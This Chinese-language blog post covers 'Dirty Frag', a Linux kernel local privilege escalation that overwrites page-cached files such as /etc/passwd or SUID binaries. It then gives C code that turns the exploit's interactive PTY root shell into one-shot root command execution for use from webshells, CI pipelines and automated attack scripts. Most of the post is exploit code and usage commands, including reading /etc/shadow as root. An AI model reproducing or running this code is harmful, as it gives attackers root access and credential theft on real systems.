Dirty Frag:从交互式 Shell 到非交互命令执行
·
一、漏洞概述
Dirty Frag 是一个针对 Linux 内核的本地提权漏洞,该漏洞影响自2017年以来的主流Linux发行版本,运行任何本地用户获取root权限。
它允许低权限攻击者利用内核的“零拷贝”优化路径,覆写本应只读的页缓存(Page Cache)中的文件数据。通过篡改 /etc/passwd 或 SUID 二进制文件,攻击者可在几秒内将权限提升至 Root。
二、原始POC:交互式 PTY Shell
exp 成功后,原代码通过 run_root_pty() 启动一个 PTY(伪终端),在该 PTY 内执行 su -,然后将用户的终端与之桥接:
// 原始 exp.c:1809-1893 — run_root_pty()
int master = posix_openpt(O_RDWR | O_NOCTTY); // 创建 master PTY
// ...
pid_t pid = fork();
if (pid == 0) {
// 子进程:slave PTY 作为 su 的 stdin/stdout/stderr
setsid();
int slave = open(slave_name, O_RDWR);
ioctl(slave, TIOCSCTTY, 0);
dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
exec_su_login(); // 执行 "su -"
}
// 父进程:桥接用户 TTY ←→ master PTY
// 在 poll() 循环中转发键盘输入和命令输出
这在终端环境下工作良好,但在以下场景完全不可用:
- Webshell 环境:没有 TTY,PTY 创建失败或静默退出
- CI/CD 管道:非 TTY stdin,无法交互
- 自动化利用脚本:需要程序化地执行命令、获得输出、退出
三、修改目标:./exp "id" 一行命令执行
需要达到的效果:
$ ./exp "id"
[+] ESP corruption succeeded
uid=0(root) gid=0(root) groups=0(root)
$ ./exp "cat /etc/shadow | head -2"
root::0:0:root:/root:/bin/bash
...
要求:无 TTY、无交互、一条命令执行完即退出,stdout 直接输出结果。
四、修改实现
4.1 核心思路
两条路径都使 su 获取 root:
- ESP 路径:
su被替换为新 ELF → 直接execve("/bin/sh")→ root shell - rxrpc 路径:passwd 空密码 + PAM nullok →
su免密登录 → root shell
无论哪条路径,最终 su 都会掉入一个 root shell。我们只需:
- 将命令写到
su的 stdin 中 - 在命令末尾追加
exit\n使 shell 执行完退出 - 父进程等待子进程结束,不桥接任何 TTY
4.2 新增 run_root_cmd() 函数
在 exp.c:1776-1804 位置添加:
static int run_root_cmd(const char *cmd)
{
int pipefd[2];
if (pipe(pipefd) < 0) return -1;
pid_t p = fork();
if (p < 0) { close(pipefd[0]); close(pipefd[1]); return -1; }
if (p == 0) {
// 子进程:stdin 从 pipe 读取,执行 su
close(pipefd[1]);
dup2(pipefd[0], STDIN_FILENO);
close(pipefd[0]);
// 尝试各种可能的 su 路径
const char *paths[] = {
"/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,
};
for (int i = 0; paths[i]; i++)
execl(paths[i], "su", NULL);
execlp("su", "su", NULL);
_exit(127);
}
// 父进程:向 pipe 写入命令 + exit
close(pipefd[0]);
dprintf(pipefd[1], "%s\nexit\n", cmd);
close(pipefd[1]);
int status;
waitpid(p, &status, 0);
return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
}
设计要点:
| 问题 | 解法 |
|---|---|
ESP 路径的 su 已变成只执行 /bin/sh 的 ELF |
sh 从 stdin 读取命令,cmd\nexit\n 直接送给 shell |
rxrpc 路径的 su 可能提示密码 |
PAM nullok + 空密码字段会跳过密码提示,stdin 直接被 root shell 读取 |
| 需要捕获命令输出 | 子进程继承父进程的 stdout/stderr,直接输出到终端 |
| 需要命令执行完退出 | exit\n 使 shell 退出,waitpid 等待子进程终止 |
4.3 修改 main() 命令解析
在 exp.c:1933-1998 处修改:
int main(int argc, char **argv)
{
// ... 原有变量声明 ...
char *run_cmd = NULL; // 新增
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--force-esp"))
force_esp = 1;
else if (!strcmp(argv[i], "--force-rxrpc"))
force_rxrpc = 1;
else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
verbose = 1;
else if (argv[i][0] != '-') // 新增:非 flag 参数视为命令
run_cmd = argv[i];
}
if (getuid() == 0) { // 新增:已在 root 时直接执行
if (run_cmd) {
execlp("/bin/sh", "sh", "-c", run_cmd, NULL);
_exit(1);
}
execlp("/bin/bash", "bash", (char *)NULL);
_exit(1);
}
// ... 原有提权逻辑不变 ...
if (patched) { // 修改后的分支
if (run_cmd)
return run_root_cmd(run_cmd); // 非交互执行
(void)run_root_pty(); // 原有交互 shell(兼容)
return 0;
}
// ...
}
向后兼容:
./exp— 不传命令,仍走原有run_root_pty()交互 shell./exp "id"— 传入命令,走新增run_root_cmd()非交互模式./exp --force-rxrpc "cat /etc/shadow"— 强制 rxrpc 路径 + 命令- 所有原有 flag(
-v、--verbose、--force-esp、--force-rxrpc)均保留
五、编译与使用
# 编译
gcc -s -o exp exp.c
# 交互式 shell(原有功能)
./exp
# 非交互命令执行(新功能)
./exp "id"
./exp "whoami"
./exp "cat /etc/shadow"
./exp "ping -c 1 10.0.0.1"
# 强制指定攻击路径
./exp --force-esp "id"
./exp --force-rxrpc "id"

与原始 PTY 方式的对比
| 特性 | PTY 方式(原始) | Pipe 方式(修改后) |
|---|---|---|
| 需要 TTY | 是 | 否 |
| 适用场景 | 交互式终端 | Webshell, CI, 脚本 |
| 命令执行 | 手动输入 | 参数传入 |
| 输出获取 | stdout(带 tty 转义) | 纯 stdout |
| 退出方式 | exit 或 Ctrl+D |
exit\n 自动注入 |
| 多命令支持 | 逐条手打 | id; whoami; ls -la |
六、参考
- Dirty Frag 原始代码:利用 XFRM ESN replay 越界 + rxrpc splice 页缓存覆写
- PAM nullok 机制:
security/pam/modules/pam_unix/pam_unix_auth.c pcbc(fcrypt)用户态暴力破解:基于 Linux 内核crypto/fcrypt.c移植
更多推荐


所有评论(0)